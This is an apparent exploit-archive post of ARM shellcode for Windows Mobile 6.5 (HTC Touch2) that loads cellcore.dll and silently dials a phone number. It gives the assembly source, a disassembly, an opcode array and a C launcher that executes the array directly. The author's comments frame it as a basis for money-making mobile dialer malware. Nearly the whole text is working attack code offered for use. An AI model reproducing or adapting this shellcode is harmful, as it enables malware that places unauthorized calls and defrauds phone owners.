Title: Windows Mobile 6.5 TR Phone Call Shellcode Author: Celil Ünüver /* Device: HTC Touch2 System: Windows Mobile 6.5 TR (WinCE 5.0.2) Coded by Celil ‹n¸ver from SecurityArchitect Contact: celilunuver[n*spam]gmail.com www.securityarchitect.org blog.securityarchitect.org Notes: thats a PhoneCall Shellcode! Do you remember the time of dialers? Dial-up Modem times? ;) now is it the time of mobile dialers and malwares to make $$ ? :) EXPORT start AREA .text, CODE start ldr R12, =0x3f6272c adr r0, lib mov lr, pc mov pc, r12 ldr r12, =0x2e806dc adr r0, num mov r3, #0 mov r2, #0 mov r1, #0 mov lr, pc mov pc, r12 lib dcb "c",0,"e",0,"l",0,"l",0,"c",0,"o",0,"r",0,"e",0,0,0,0,0 num dcb "3",0,"1",0,"3",0,"3",0,"7",0,0,0 ALIGN END dumpbin /disasm: 00011000: E59FC044 ldr r12, [pc, #0x44] 00011004: E28F0020 add r0, pc, #0x20 00011008: E1A0E00F mov lr, pc 0001100C: E1A0F00C mov pc, r12 00011010: E59FC038 ldr r12, [pc, #0x38] 00011014: E28F0024 add r0, pc, #0x24 00011018: E3A03000 mov r3, #0 0001101C: E3A02000 mov r2, #0 00011020: E3A01000 mov r1, #0 00011024: E1A0E00F mov lr, pc 00011028: E1A0F00C mov pc, r12 0001102C: 00650063 rsbeq r0, r5, r3, rrx 00011030: 006C006C rsbeq r0, r12, r12, rrx 00011034: 006F0063 rsbeq r0, pc, r3, rrx 00011038: 00650072 rsbeq r0, r5, r2, ror r0 0001103C: 00000000 andeq r0, r0, r0 00011040: 00310033 eoreqs r0, r1, r3, lsr r0 00011044: 00330033 eoreqs r0, r3, r3, lsr r0 00011048: 00000037 andeq r0, r0, r7, lsr r0 0001104C: 03F6272C 00011050: 02E806DC rsceq r0, r8, #0xDC, 12 "i don't think we have any imperfections; we perfectly are what we are." */ #include #include int shellcode[] = { 0xE59FC044, 0xE28F0020, 0xE1A0E00F, 0xE1A0F00C, 0xE59FC038, 0xE28F0024, 0xE3A03000, 0xE3A02000, 0xE3A01000, 0xE1A0E00F, 0xE1A0F00C, 0x00650063, 0x006C006C, 0x006F0063, 0x00650072, 0x00000000, 0x00310033, 0x00330033, 0x00000037, 0x03F6272C, 0x02E806DC, }; int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { ((void (*)(void)) & shellcode)(); return 0; }